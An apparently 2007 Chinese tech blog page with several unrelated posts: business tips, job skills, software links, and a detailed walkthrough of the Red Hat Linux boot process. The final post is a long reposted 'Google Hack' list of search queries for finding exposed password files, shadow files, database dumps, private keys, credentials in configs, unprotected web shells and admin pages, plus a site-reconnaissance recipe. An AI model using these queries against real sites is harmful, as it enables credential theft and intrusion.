我们对于自己的所得当中,有哪些可以减税或不用报税都会斤斤计较,对于公司也要抱持同样的心态。比方说,如果你知道超过一定金额的交际费用,就无法在税法上被视为是经费,那么在使用交际费时,就要有如同花了账单上1.5倍金额的自觉。
20.数字不是绝对的
数字是决算或预估的数值或假设,但不是绝对的标准。例如,我们现在都已经知道智商高的人,不见得就会是杰出的工作者,我们还要将其它的人格特质纳入考虑。因此,真正有数字力的人,不是将数字的力量无限上纲,反而是更懂得数字有其限制。
posted @ 2007-09-05 20:38 MEYE 阅读(339) | 评论 (0)编辑 收藏
求职最受欢迎的十大技能
一个人掌握何种技能取决于他的兴趣、能力和聪明程度,也取决于他所能支配的资源以及制定的事业目标,拥有过硬技能的人有更多的工作机会。但是,由于经济发展前景不确定,掌握对你的事业有所帮助的技能显得尤为重要。以下是美国劳工部公布的最受雇主欢迎的十种技能。

  一、解决问题的能力

  每天,我们都要在生活和工作中解决一些综合性的问题。那些能够发现问题、解决问题并迅速作出有效决断的人行情将持续升温,在商业经营、管理咨询、公共管理、科学、医药和工程领域需求量骤增。

  二、专业技能

  现在,技术已经进入了人类活动的所有领域。工程、通讯、汽车、交通、航空航天领域需要大量能够对电力、电子和机械设备进行安装、调试和修理的专业人员。

  三、沟通能力

  所有的公司都不可避免地面临内部雇员如何相处的问题。一个公司的成功很多时候取决于全体职员能否团结协作。因此,人力资源经理、人事部门官员和管理决策部门必须尽量了解职员的需求并在允许的范围内尽量予以满足。

  四、计算机编程技能

  如果你能够利用计算机编程的方法满足某个公司的特定需要,那么你获得工作的机会将大大增加。因此,你需要掌握C++, Java, HTML, Visual Basic, Unix和SQL Server等计算机语言。

  五、培训技能

  现代社会一天产生和搜集到的数据比古代社会一年的还要多。因此,能够在教育、社区服务、管理协调和商业方面进行培训的人才的需求量逐年增加。

  六、科学与数学技能

  科学、医学和工程领域每天都在取得伟大的进展。拥有科学和数学头脑的人才的需求量也将骤增,以应对这些领域的挑战。

  七、理财能力

  随着平均寿命的延长,每个人都必须仔细审核自己的投资计划以保证舒适的生活以及退休后的生活来源。投资经纪人、证券交易员、退休规划者、会计等职业的需求量也将继续增加。

  八、信息管理能力

  信息是信息时代经济系统的基础,掌握信息管理能力在绝大多数行业来说都是必须的。系统分析员、信息技术员、数据库管理员以及通信工程师等掌握信息管理能力的人才将会非常吃香。

  九、外语交际能力

  美国需要从别国进口原材料和商品,美国的商品和服务也要出口到全球市场。掌握一门外语将有助于你得到工作的机会。现在热门的外语是俄语、日语、汉语和德语(对于中国人来说,掌握英语显得尤为重要)。

  十、商业管理能力

  在美国,生意就是生意,掌握成功运作一个公司的方法是至关重要的。这方面最核心的技能一方面是人员管理、系统管理、资源管理和融资的能力;另一方面是要了解客户的需要并迅速将这些需要转化为商机。ZT
posted @ 2007-09-05 20:35 MEYE 阅读(326) | 评论 (0)编辑 收藏


我想金山词霸应该是每个开发者都必装的软件吧,但有几个是正版的呢?

金山词霸越来越霸了,启动慢占资源,并且每次一不小心就给你安装一堆不需要的东西
最重要的是还是收费软件

灵格斯词霸,就像他的名字一样,轻盈灵巧(仅1.9M),运行十分快速,界面清新,完全免费,没有不实用的功能和插件。官网上也有很多的词库可供扩展安装,安装极为方面,强烈推荐使用。

安装辞典的时候请注意,安装好词典後,把 "加入索引 add to index"选中,不然搜索单词的时候,左边的索引无法应用新的词库,会不显示搜到的单词。
安装好词库後,也可以在词库的设置里增加/去除 词库的索引设置



2。程序员之家 : http://www.youku.com/club_showClub/id_11939.html

http://www.embed.com.cn/

http://www.xxlinux.com/bbs/index.php

http://www.chineselinuxuniversity.net/courses/kernel/
posted @ 2007-08-16 21:06 MEYE 阅读(317) | 评论 (0)编辑 收藏
Thinking in C++(English) 点击直接下载 http://ir.hit.edu.cn/~car/programming/c_cpp/TICPP-2nd-ed-Vol-two/code.zip 点击再线阅览 http://ir.hit.edu.cn/~car/programming/c_cpp/TICPP-2nd-ed-Vol-two/
posted @ 2007-08-02 10:10 MEYE 阅读(340) | 评论 (0)编辑 收藏



http://www.linuxsir.org/bbs/showthread.php?s=2c3a68e2e3a84740061d1207f84fc215&t=32052


http://www.linuxsir.org/bbs/showthread.php?t=108946

http://blog.csdn.net/fhmsha/

http://www.ibm.com/developerworks/cn/linux/l-linux-kernel/index.html?S_TACT=105AGX52&S_CMP=techcsdn
posted @ 2007-07-07 20:24 MEYE 阅读(352) | 评论 (0)编辑 收藏
剖析Linux系统启动过程 本文以RedHat9.0和i386平台为例,剖析了从用户打开电源直到屏幕出现命令行提示符的整个Linux启动过程。并且介绍了启动中涉及到的各种文件。   阅读Linux源代码,无疑是深入学习Linux的最好方法。在本文对Linux启动过程的介绍中,我们也尝试从源代码的视角来更深入的剖析Linux的启动过程,所以其中也简单涉及到部分相关的Linux源代码,Linux启动这部分的源码主要使用的是C语言,也涉及到了少量的汇编。而启动过程中也执行了大量的shell(主要是bash shell)所写脚本。为了方便读者阅读,笔者将整个Linux启动过程分成以下几个部分逐一介绍,大家可以参考下图:   当用户打开PC的电源,BIOS开机自检,按BIOS中设置的启动设备(通常是硬盘)启动,接着启动设备上安装的引导程序lilo或grub开始引导Linux,Linux首先进行内核的引导,接下来执行init程序,init程序调用了rc.sysinit和rc等程序,rc.sysinit和rc当完成系统初始化和运行服务的任务后,返回init;init启动了mingetty后,打开了终端供用户登录系统,用户登录成功后进入了Shell,这样就完成了从开机到登录的整个启动过程。 下面就将逐一介绍其中几个关键的部分:   第一部分:内核的引导(核内引导)   Red Hat9.0可以使用lilo或grub等引导程序开始引导Linux系统,当引导程序成功完成引导任务后,Linux从它们手中接管了CPU的控制权,然后CPU就开始执行Linux的核心映象代码,开始了Linux启动过程。这里使用了几个汇编程序来引导Linux,这一步泛及到Linux源代码树中的“arch/i386/boot”下的这几个文件:bootsect.S、setup.S、video.S等。   其中bootsect.S是生成引导扇区的汇编源码,它完成加载动作后直接跳转到setup.S的程序入口。setup.S的主要功能就是将系统参数(包括内存、磁盘等,由BIOS返回)拷贝到特别内存中,以便以后这些参数被保护模式下的代码来读取。此外,setup.S还将video.S中的代码包含进来,检测和设置显示器和显示模式。最后,setup.S将系统转换到保护模式,并跳转到 0x100000。   那么0x100000这个内存地址中存放的是什么代码?而这些代码又是从何而来的呢?   0x100000这个内存地址存放的是解压后的内核,因为Red Hat提供的内核包含了众多驱动和功能而显得比较大,所以在内核编译中使用了“makebzImage”方式,从而生成压缩过的内核,在RedHat中内核常常被命名为vmlinuz,在Linux的最初引导过程中,是通过"arch/i386/boot/compressed/"中的head.S利用misc.c中定义的decompress_kernel()函数,将内核vmlinuz解压到0x100000的。   当CPU跳到0x100000时,将执行"arch/i386/kernel/head.S"中的startup_32,它也是vmlinux的入口,然后就跳转到start_kernel()中去了。start_kernel()是"init/main.c"中的定义的函数,start_kernel()中调用了一系列初始化函数,以完成kernel本身的设置。start_kernel()函数中,做了大量的工作来建立基本的Linux核心环境。如果顺利执行完start_kernel(),则基本的Linux核心环境已经建立起来了。   在start_kernel()的最后,通过调用init()函数,系统创建第一个核心线程,启动了init过程。而核心线程init()主要是来进行一些外设初始化的工作的,包括调用do_basic_setup()完成外设及其驱动程序的加载和初始化。并完成文件系统初始化和root文件系统的安装。   当do_basic_setup()函数返回init(),init()又打开了/dev/console设备,重定向三个标准的输入输出文件stdin、stdout和stderr到控制台,最后,搜索文件系统中的init程序(或者由init=命令行参数指定的程序),并使用 execve()系统调用加载执行init程序。到此init()函数结束,内核的引导部分也到此结束了。 第二部分:运行init   init的进程号是1,从这一点就能看出,init进程是系统所有进程的起点,Linux在完成核内引导以后,就开始运行init程序,。init程序需要读取配置文件/etc/inittab。inittab是一个不可执行的文本文件,它有若干行指令所组成。在Redhat系统中,inittab的内容如下所示(以“###"开始的中注释为笔者增加的):   #   # inittab This file describes how the INIT process should set up   # the system in a certain run-level.   #   # Author: Miquel van Smoorenburg,   # Modified for RHS Linux by Marc Ewing and Donnie Barnes   #   # Default runlevel. The runlevels used by RHS are:   # 0 - halt (Do NOT set initdefault to this)   # 1 - Single user mode   # 2 - Multiuser, without NFS (The same as 3, if you do not havenetworking)   # 3 - Full multiuser mode   # 4 - unused   # 5 - X11   # 6 - reboot (Do NOT set initdefault to this)   #   ###表示当前缺省运行级别为5(initdefault);   id:5:initdefault:   ###启动时自动执行/etc/rc.d/rc.sysinit脚本(sysinit)   # System initialization.   si::sysinit:/etc/rc.d/rc.sysinit   l0:0:wait:/etc/rc.d/rc 0   l1:1:wait:/etc/rc.d/rc 1   l2:2:wait:/etc/rc.d/rc 2   l3:3:wait:/etc/rc.d/rc 3   l4:4:wait:/etc/rc.d/rc 4   ###当运行级别为5时,以5为参数运行/etc/rc.d/rc脚本,init将等待其返回(wait)   l5:5:wait:/etc/rc.d/rc 5   l6:6:wait:/etc/rc.d/rc 6   ###在启动过程中允许按CTRL-ALT-DELETE重启系统   # Trap CTRL-ALT-DELETE   ca::ctrlaltdel:/sbin/shutdown -t3 -r now   # When our UPS tells us power has failed, assume we have a few minutes   # of power left. Schedule a shutdown for 2 minutes from now.   # This does, of course, assume you have powerd installed and your   # UPS connected and working correctly.   pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"   # If power was restored before the shutdown kicked in, cancel it.   pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"   ###在2、3、4、5级别上以ttyX为参数执行/sbin/mingetty程序,打开ttyX终端用于用户登录,   ###如果进程退出则再次运行mingetty程序(respawn)   # Run gettys in standard runlevels   1:2345:respawn:/sbin/mingetty tty1   2:2345:respawn:/sbin/mingetty tty2   3:2345:respawn:/sbin/mingetty tty3   4:2345:respawn:/sbin/mingetty tty4   5:2345:respawn:/sbin/mingetty tty5   6:2345:respawn:/sbin/mingetty tty6   ###在5级别上运行xdm程序,提供xdm图形方式登录界面,并在退出时重新执行(respawn)   # Run xdm in runlevel 5   x:5:respawn:/etc/X11/prefdm -nodaemon  以上面的inittab文件为例,来说明一下inittab的格式。其中以#开始的行是注释行,除了注释行之外,每一行都有以下格式:   id:runlevel:action:process   对上面各项的详细解释如下:   1. id   id是指入口标识符,它是一个字符串,对于getty或mingetty等其他login程序项,要求id与tty的编号相同,否则getty程序将不能正常工作。   2. runlevel   runlevel是init所处于的运行级别的标识,一般使用0-6以及S或s。0、1、6运行级别被系统保留:其中0作为shutdown动作,1作为重启至单用户模式,6为重启;S和s意义相同,表示单用户模式,且无需inittab文件,因此也不在inittab中出现,实际上,进入单用户模式时,init直接在控制台(/dev/console)上运行/sbin/sulogin。在一般的系统实现中,都使用了2、3、4、5几个级别,在Redhat系统中,2表示无NFS支持的多用户模式,3表示完全多用户模式(也是最常用的级别),4保留给用户自定义,5表示XDM图形登录方式。7-9级别也是可以使用的,传统的Unix系统没有定义这几个级别。runlevel可以是并列的多个值,以匹配多个运行级别,对大多数action来说,仅当runlevel与当前运行级别匹配成功才会执行。   3. action   action是描述其后的process的运行方式的。action可取的值包括:initdefault、sysinit、boot、bootwait等:   initdefault是一个特殊的action值,用于标识缺省的启动级别;当init由核心激活以后,它将读取inittab中的initdefault项,取得其中的runlevel,并作为当前的运行级别。如果没有inittab文件,或者其中没有initdefault项,init将在控制台上请求输入runlevel。   sysinit、boot、bootwait等action将在系统启动时无条件运行,而忽略其中的runlevel。   其余的action(不含initdefault)都与某个runlevel相关。各个action的定义在inittab的man手册中有详细的描述。   4. process   process为具体的执行程序。程序后面可以带参数。   第三部分:系统初始化   在init的配置文件中有这么一行:   si::sysinit:/etc/rc.d/rc.sysinit   它调用执行了/etc/rc.d/rc.sysinit,而rc.sysinit是一个bash shell的脚本,它主要是完成一些系统初始化的工作,rc.sysinit是每一个运行级别都要首先运行的重要脚本。它主要完成的工作有:激活交换分区,检查磁盘,加载硬件模块以及其它一些需要优先执行任务。   rc.sysinit约有850多行,但是每个单一的功能还是比较简单,而且带有注释,建议有兴趣的用户可以自行阅读自己机器上的该文件,以了解系统初始化所详细情况。由于此文件较长,所以不在本文中列出来,也不做具体的介绍。   当rc.sysinit程序执行完毕后,将返回init继续下一步。 第四部分:启动对应运行级别的守护进程   在rc.sysinit执行后,将返回init继续其它的动作,通常接下来会执行到/etc/rc.d/rc程序。以运行级别3为例,init将执行配置文件inittab中的以下这行:   l5:5:wait:/etc/rc.d/rc 5   这一行表示以5为参数运行/etc/rc.d/rc,/etc/rc.d/rc是一个Shell脚本,它接受5作为参数,去执行/etc/rc.d/rc5.d/目录下的所有的rc启动脚本,/etc/rc.d/rc5.d/目录中的这些启动脚本实际上都是一些链接文件,而不是真正的rc启动脚本,真正的rc启动脚本实际上都是放在/etc/rc.d/init.d/目录下。而这些rc启动脚本有着类似的用法,它们一般能接受start、stop、restart、status等参数。   /etc/rc.d/rc5.d/中的rc启动脚本通常是K或S开头的链接文件,对于以以S开头的启动脚本,将以start参数来运行。而如果发现存在相应的脚本也存在K打头的链接,而且已经处于运行态了(以/var/lock/subsys/下的文件作为标志),则将首先以stop为参数停止这些已经启动了的守护进程,然后再重新运行。这样做是为了保证是当init改变运行级别时,所有相关的守护进程都将重启。   至于在每个运行级中将运行哪些守护进程,用户可以通过chkconfig或setup中的"System Services"来自行设定。常见的守护进程有:   amd:自动安装NFS守护进程   apmd:高级电源管理守护进程   arpwatch:记录日志并构建一个在LAN接口上看到的以太网地址和IP地址对数据库   autofs:自动安装管理进程automount,与NFS相关,依赖于NIS   crond:Linux下的计划任务的守护进程   named:DNS服务器   netfs:安装NFS、Samba和NetWare网络文件系统   network:激活已配置网络接口的脚本程序   nfs:打开NFS服务   portmap:RPC portmap管理器,它管理基于RPC服务的连接   sendmail:邮件服务器sendmail   smb:Samba文件共享/打印服务   syslog:一个让系统引导时起动syslog和klogd系统日志守候进程的脚本   xfs:X Window字型服务器,为本地和远程X服务器提供字型集   Xinetd:支持多种网络服务的核心守护进程,可以管理wuftp、sshd、telnet等服务   这些守护进程也启动完成了,rc程序也就执行完了,然后又将返回init继续下一步。 第五部分:建立终端   rc执行完毕后,返回init。这时基本系统环境已经设置好了,各种守护进程也已经启动了。init接下来会打开6个终端,以便用户登录系统。通过按Alt+Fn(n对应1-6)可以在这6个终端中切换。在inittab中的以下6行就是定义了6个终端:   1:2345:respawn:/sbin/mingetty tty1   2:2345:respawn:/sbin/mingetty tty2   3:2345:respawn:/sbin/mingetty tty3   4:2345:respawn:/sbin/mingetty tty4   5:2345:respawn:/sbin/mingetty tty5   6:2345:respawn:/sbin/mingetty tty6   从上面可以看出在2、3、4、5的运行级别中都将以respawn方式运行mingetty程序,mingetty程序能打开终端、设置模式。同时它会显示一个文本登录界面,这个界面就是我们经常看到的登录界面,在这个登录界面中会提示用户输入用户名,而用户输入的用户将作为参数传给login程序来验证用户的身份。   第六部分:登录系统,启动完成   对于运行级别为5的图形方式用户来说,他们的登录是通过一个图形化的登录界面。登录成功后可以直接进入KDE、Gnome等窗口管理器。而本文主要讲的还是文本方式登录的情况:   当我们看到mingetty的登录界面时,我们就可以输入用户名和密码来登录系统了。   Linux的账号验证程序是login,login会接收mingetty传来的用户名作为用户名参数。然后login会对用户名进行分析:如果用户名不是root,且存在/etc/nologin文件,login将输出nologin文件的内容,然后退出。这通常用来系统维护时防止非root用户登录。只有/etc/securetty中登记了的终端才允许root用户登录,如果不存在这个文件,则root可以在任何终端上登录。/etc/usertty文件用于对用户作出附加访问限制,如果不存在这个文件,则没有其他限制。   在分析完用户名后,login将搜索/etc/passwd以及/etc/shadow来验证密码以及设置账户的其它信息,比如:主目录是什么、使用何种shell。如果没有指定主目录,将默认为根目录;如果没有指定shell,将默认为/bin/bash。   login程序成功后,会向对应的终端在输出最近一次登录的信息(在/var/log/lastlog中有记录),并检查用户是否有新邮件(在/usr/spool/mail/的对应用户名目录下)。然后开始设置各种环境变量:对于bash来说,系统首先寻找/etc/profile脚本文件,并执行它;然后如果用户的主目录中存在.bash_profile文件,就执行它,在这些文件中又可能调用了其它配置文件,所有的配置文件执行后后,各种环境变量也设好了,这时会出现大家熟悉的命令行提示符,到此整个启动过程就结束了。   希望通过上面对Linux启动过程的剖析能帮助那些想深入学习Linux用户建立一个相关Linux启动过程的清晰概念,进而可以进一步研究Linux接下来是如何工作的。 http://blog.chinaunix.net/u/304/showart_206813.html
posted @ 2007-05-26 13:10 MEYE 阅读(385) | 评论 (0)编辑 收藏
google 真好 google 你真好(Google Hack) □Evil[xiaoyu] 发表于 2006-1-13 23:41:00 其实早应该发出来的,国内关于google技巧方面的整理,我大概算是最早一批人吧,后来sniper都写了google hack,就更懒的发了。如今帮老婆找论文,关键字匹配累的要死。这些技巧是我整理以后淘汰的后的,最好的那些如有兴趣可以找我直接索取 Http://www.feelids.com By swap (慕容小雨) 站内搜索地址为: http://www.google.com/custom?domains=(这里写我们要搜索的站点,比如feelids.com) 进去可以选择www和feelids.com, 当然再选我们要的站内搜索哦! 黑客专用信息和资料搜索地址为: http://www.google.com/custom?hl=xx-hacker 这里是google关键字的用法,要设置它为中文,则是 http://www.google.com/custom?hl=zh-CN 英文则是http://www.google.com/custom?hl=en 常用的google关键字: foo1 foo2 (也就是关联,比如搜索xx公司 xx美女) operator:foo filetype:123 类型 site:foo.com 相对直接看网站更有意思,可以得到许多意外的信息 intext:foo intitle: fooltitle 标题哦 allinurl:foo 搜索xx网站的所有相关连接。(踩点必备) links:foo 不要说就知道是它的相关链接 allintilte:foo.com 我们可以辅助"-" "+"来调整搜索的精确程度 直接搜索密码:(引号表示为精确搜索) 当然我们可以再延伸到上面的结果里进行二次搜索 "index of" htpasswd / passwd filetype:xls username password email "ws_ftp.log" "config.php" allinurl:admin mdb service filetype:pwd ....或者某个比如pcanywhere的密码后缀cif等 越来越有意思了,再来点更敏感信息 "robots.txt" "Disallow:" filetype:txt inurl:_vti_cnf (FrontPage的关键索引啦,扫描器的CGI库一般都有地) allinurl: /msadc/Samples/selector/showcode.asp /../../../passwd /examples/jsp/snp/snoop.jsp phpsysinfo intitle:index of /admin intitle:"documetation" inurl: 5800(vnc的端口)或者desktop port等多个关键字检索 webmin port 10000 inurl:/admin/login.asp intext:Powered by GBook365 intitle:"php shell*" "Enable stderr" filetype:php 直接搜索到phpwebshell foo.org filetype:inc ipsec filetype:conf intilte:"error occurred" ODBC request WHERE (select|insert) 说白了就是说,可以直接试着查查数据库检索,针对目前流行的sql注射,会发达哦 intitle:"php shell*" "Enable stderr" filetype:php "Dumping data for table" username password intitle:"Error using Hypernews" "Server Software" intitle:"HTTP_USER_AGENT=Googlebot" "HTTP_USER_ANGET=Googlebot" THS ADMIN filetype:.doc site:.mil classified 直接搜索军方相关word 检查多个关键字: intitle:config confixx login password "mydomain.com" nessus report "report generated by" "ipconfig" "winipconfig" google缓存利用(hoho,最有影响力的东西)推荐大家搜索时候多"选搜索所有网站" 特别推荐:administrator users 等相关的东西,比如名字,生日等……最惨也可以拿来做字典嘛 cache:foo.com 可以查阅类似结果 先找找网站的管理后台地址: site:xxxx.com intext:管理 site:xxxx.com inurl:login site:xxxx.com intitle:管理 site:a2.xxxx.com inurl:file site:a3.xxxx.com inurl:load site:a2.xxxx.com intext:ftp://*:* site:a2.xxxx.com filetype:asp site:xxxx.com //得到N个二级域名 site:xxxx.com intext:*@xxxx.com //得到N个邮件地址,还有邮箱的主人的名字什么的 site:xxxx.com intext:电话 //N个电话 intitle:"index of" etc intitle:"Index of" .sh_history intitle:"Index of" .bash_history intitle:"index of" passwd intitle:"index of" people.lst intitle:"index of" pwd.db intitle:"index of" etc/shadow intitle:"index of" spwd intitle:"index of" master.passwd intitle:"index of" htpasswd "# -FrontPage-" inurl:service.pwd allinurl:bbs data filetype:mdb inurl:database filetype:inc conn inurl:data filetype:mdb intitle:"index of" data …… 一些技巧集合: 3) "http://*:*@www" domainname 找一些ISP站点,可以查对方ip的虚拟主机 3 4) auth_user_file.txt 不实用了,太老了 5) The Master List 寻找邮件列表的 6) intitle:"welcome.to.squeezebox" 一种特殊的管理系统,默认开放端口90 7) passlist.txt (a better way) 字典 8) "A syntax error has occurred" filetype:ihtml 9) ext:php program_listing intitle:MythWeb.Program.Listing 10) intitle:index.of abyss.conf 11)ext:nbe nbe 12)intitle:"SWW link" "Please wait....." 13) 14) intitle:"Freifunk.Net - Status" -site:commando.de 15) intitle:"WorldClient" intext:"? (2003|2004) Alt-N Technologies." 17) intitle:open-xchange inurl:login.pl 20) intitle:"site administration: please log in" "site designed by emarketsouth" 21) ORA-00921: unexpected end of SQL command 22)intitle:"YALA: Yet Another LDAP Administrator" 23)welcome.to phpqladmin "Please login" -cvsweb 24)intitle:"SWW link" "Please wait....." 25)inurl:"port_255" -htm 27)intitle:"WorldClient" intext:"? (2003|2004) Alt-N Technologies." 这些是新的一些漏洞技巧,在0days公告公布 ext:php program_listing intitle:MythWeb.Program.Listing inurl:preferences.ini "[emule]" intitle:"Index of /CFIDE/" administrator "access denied for user" "using password" ext:php intext:"Powered by phpNewMan Version" 可以看到:path/to/news/browse.php?clang=../../../../../../file/i/want inurl:"/becommunity/community/index.php?pageurl=" intitle:"ASP FileMan" Resend -site:iisworks.com "Enter ip" inurl:"php-ping.php" ext:conf inurl:rsyncd.conf -cvs -man intitle: private, protected, secret, secure, winnt intitle:"DocuShare" inurl:"docushare/dsweb/" -faq -gov -edu "#mysql dump" filetype:sql "allow_call_time_pass_reference" "PATH_INFO" "Certificate Practice Statement" inurl:(PDF | DOC) LeapFTP intitle:"index.of./" sites.ini modified master.passwd mysql history files NickServ registration passwords passlist passlist.txt (a better way) passwd passwd / etc (reliable) people.lst psyBNC config files pwd.db signin filetype:url spwd.db / passwd trillian.ini wwwboard WebAdmin inurl:passwd.txt wwwboard|webadmin "# -FrontPage-" ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-" inurl:service.pwd "AutoCreate=TRUE password=*" "http://*:*@www" domainname "index of/" "ws_ftp.ini" "parent directory" "liveice configuration file" ext:cfg -site:sourceforge.net "powered by ducalendar" -site:duware.com "Powered by Duclassified" -site:duware.com "Powered by Duclassified" -site:duware.com "DUware All Rights reserved" "powered by duclassmate" -site:duware.com "Powered by Dudirectory" -site:duware.com "powered by dudownload" -site:duware.com "Powered By Elite Forum Version *.*" "Powered by Link Department" "sets mode: +k" "Powered by DUpaypal" -site:duware.com allinurl: admin mdb auth_user_file.txt config.php eggdrop filetype:user user etc (index.of) ext:ini eudora.ini ext:ini Version=... password ext:txt inurl:unattend.txt filetype:bak inurl:"htaccess|passwd|shadow|htusers" filetype:cfg mrtg "target[*]" -sample -cvs -example filetype:cfm "cfapplication name" password filetype:conf oekakibbs filetype:conf sc_serv.conf filetype:conf slapd.conf filetype:config config intext:appSettings "User ID" filetype:dat "password.dat" filetype:dat wand.dat filetype:inc dbconn filetype:inc intext:mysql_connect filetype:inc mysql_connect OR mysql_pconnect filetype:inf sysprep filetype:ini inurl:"serv-u.ini" filetype:ini inurl:flashFXP.ini filetype:ini ServUDaemon filetype:ini wcx_ftp filetype:ini ws_ftp pwd filetype:ldb admin filetype:log "See `ipsec copyright" filetype:log inurl:"password.log" filetype:mdb inurl:users.mdb filetype:mdb wwforum filetype:netrc password filetype:pass pass intext:userid filetype:pem intext:private filetype:properties inurl:db intext:password filetype:pwd service filetype:pwl pwl filetype:reg reg +intext:"defaultusername" +intext:"defaultpassword" filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS filetype:sql ("values * MD" | "values * password" | "values * encrypt") filetype:sql ("passwd values" | "password values" | "pass values" ) filetype:sql +"IDENTIFIED BY" -cvs filetype:sql password filetype:url +inurl:"ftp://" +inurl:";@" filetype:xls username password email htpasswd htpasswd / htgroup htpasswd / htpasswd.bak intext:"enable secret $" intext:"powered by Web Wiz Journal" intitle:"index of" intext:connect.inc intitle:"index of" intext:globals.inc intitle:"Index of" passwords modified intitle:dupics inurl:(add.asp | default.asp | view.asp | voting.asp) -site:duware.com ---------------------------------------------------------------------------------------------------------------------- intitle:index.of intext:"secring.skr"|"secring.pgp"|"secring.bak" inurl:"GRC.DAT" intext:"password" inurl:"slapd.conf" intext:"credentials" -manpage -"Manual Page" -man: -sample inurl:"slapd.conf" intext:"rootpw" -manpage -"Manual Page" -man: -sample inurl:"wvdial.conf" intext:"password" inurl:/db/main.mdb inurl:chap-secrets -cvs inurl:config.php dbuname dbpass inurl:filezilla.xml -cvs inurl:lilo.conf filetype:conf password -tatercounter -bootpwd -man inurl:nuke filetype:sql inurl:ospfd.conf intext:password -sample -test -tutorial -download 路由配置 inurl:pap-secrets -cvs inurl:perform filetype:ini inurl:secring ext:skr | ext:pgp | ext:bak inurl:vtund.conf intext:pass -cvs inurl:zebra.conf intext:password -sample -test -tutorial -download "Generated by phpSystem" "generated by wwwstat" "Host Vulnerability Summary Report" ] "HTTP_FROM=googlebot" googlebot.com "Server_Software=" "Index of" / "chat/logs" 聊天室 "Installed Objects Scanner" inurl:default.asp "Mecury Version" "Infastructure Group" "Microsoft (R) Windows * (TM) Version * DrWtsn Copyright (C)" ext:log "Most Submitted Forms and Scripts" "this section" "Network Vulnerability Assessment Report" "not for distribution" confidential "phone * * *" "address *" "e-mail" intitle:"curriculum vitae" "phpMyAdmin" "running on" inurl:"main.php" "produced by getstats" "Request Details" "Control Tree" "Server Variables" "robots.txt" "Disallow:" filetype:txt "Running in Child mode" "sets mode: +p" "sets mode: +s" "Thank you for your order" +receipt "This is a Shareaza Node" "This report was generated by WebLog" ( filetype:mail | filetype:eml | filetype:mbox | filetype:mbx ) intext:password|subject (inurl:"robot.txt" | inurl:"robots.txt" ) intext:disallow filetype:txt -site:php.net -"The PHP Group" inurl:source inurl:url ext:pHp FBR "ADOBE PHOTOSHOP" AIM buddy lists allinurl:/examples/jsp/snp/snoop.jsp allinurl:servlet/SnoopServlet cgiirc.conf data filetype:mdb -site:gov -site:mil exported email addresses ext:asp inurl:pathto.asp ext:cgi inurl:editcgi.cgi inurl:file= ext:conf inurl:rsyncd.conf -cvs -man ext:conf NoCatAuth -cvs ext:dat bpk.dat ext:gho gho ext:ini intext:env.ini ext:ldif ldif ext:log "Software: Microsoft Internet Information Services *.*" ------------------------------------------------------------------------------------------ ext:mdb inurl:*.mdb inurl:fpdb shop.mdb filetype:bkf bkf filetype:blt "buddylist" filetype:blt blt +intext:screenname filetype:cfg auto_inst.cfg filetype:conf inurl:firewall -intitle:cvs filetype:config web.config -CVS filetype:ctt ctt messenger filetype:fp fp filetype:fp fp -site:gov -site:mil -"cvs log" filetype:inf inurl:capolicy.inf filetype:lic lic intext:key filetype:myd myd -CVS filetype:ns ns filetype:ora ora filetype:ora tnsnames filetype:pdb pdb backup (Pilot | Pluckerdb) filetype:pot inurl:john.pot ------------------------------------------------------------------------------------------------------------------ filetype:pst inurl:"outlook.pst" filetype:pst pst -from -to -date filetype:qbb qbb filetype:rdp rdp filetype:reg "Terminal Server Client" filetype:vcs vcs filetype:wab wab filetype:xls -site:gov inurl:contact filetype:xls inurl:"email.xls" Financial spreadsheets: finance.xls Financial spreadsheets: finances.xls Ganglia Cluster Reports haccess.ctl (one way) haccess.ctl (VERY reliable) ICQ chat logs, please... iletype:log cron.log intext:"Session Start * * * *:*:* *" filetype:log intext:"Tobias Oetiker" "traffic analysis" intext:(password | passcode) intext:(username | userid | user) filetype:csv intext:gmail invite intext:http://gmail.google.com/gmail/a intext:SQLiteManager inurl:main.php intitle:"Apache::Status" (inurl:server-status | inurl:status.html | inurl:apache.html) intitle:"AppServ Open Project" -site:www.appservnetwork.com intitle:"ASP Stats Generator *.*" "ASP Stats Generator" "- weppos" intitle:"FTP root at" intitle:"index of" +myd size intitle:"Index Of" -inurl:maillog maillog size intitle:"Index Of" cookies.txt size intitle:"index of" mysql.conf OR mysql_config intitle:"Index of" upload size parent directory intitle:"index.of" .diz .nfo last modified intitle:"Multimon UPS status page" intitle:"PHP Advanced Transfer" (inurl:index.php | inurl:showrecent.php ) intitle:"PhpMyExplorer" inurl:"index.php" -cvs --------------------------------------------------------------------- intitle:"statistics of" "advanced web statistics" intitle:"System Statistics" +"System and Network Information Center" intitle:"Usage Statistics for" "Generated by Webalizer" intitle:"wbem" compaq login "Compaq Information Technologies Group" intitle:"Web Server Statistics for ****" intitle:"web server status" SSH Telnet intitle:"welcome.to.squeezebox" intitle:admin intitle:login intitle:index.of "Apache" "server at" intitle:index.of cleanup.log intitle:index.of dead.letter intitle:index.of inbox intitle:index.of inbox dbx intitle:intranet inurl:intranet +intext:"phone" inurl:"/axs/ax-admin.pl" -script inurl:"/cricket/grapher.cgi" inurl:"bookmark.htm" inurl:"cacti" +inurl:"graph_view.php" +"Settings Tree View" -cvs -RPM inurl:"newsletter/admin/" inurl:"newsletter/admin/" intitle:"newsletter admin" inurl:"putty.reg" inurl:"smb.conf" intext:"workgroup" filetype:conf conf ---------------------------------------------------------------------------------------------------------- Welcome to ntop! "adding new user" inurl:addnewuser -"there are no domains" (inurl:/cgi-bin/.cobalt/) | (intext:"Welcome to the Cobalt RaQ") filetype:php HAXPLORER "Server Files Browser" intitle:"Web Data Administrator - Login" inurl:ConnectComputer/precheck.htm | inurl:Remote/logon.aspx PHP Shell (unprotected) PHPKonsole PHPShell filetype:php -echo Public PHP FileManagers "index of" / picasa.ini "index of" inurl:recycler "Index of" rar r nfo Modified "intitle:Index.Of /" stats merchant cgi-* etc "Powered by Invision Power File Manager" (inurl:login.php) | (intitle:"Browsing directory /" ) "Web File Browser" "Use regular expression" filetype:ini Desktop.ini intext:mydocs.dll intext:"d.aspx?id" || inurl:"d.aspx?id" intext:"Powered By: TotalIndex" intitle:"TotalIndex" intitle:"album permissions" "Users who can modify photos" "EVERYBODY" intitle:"Directory Listing For" intext:Tomcat -intitle:Tomcat intitle:"HFS /" +"HttpFileServer" intitle:"Index of *" inurl:"my shared 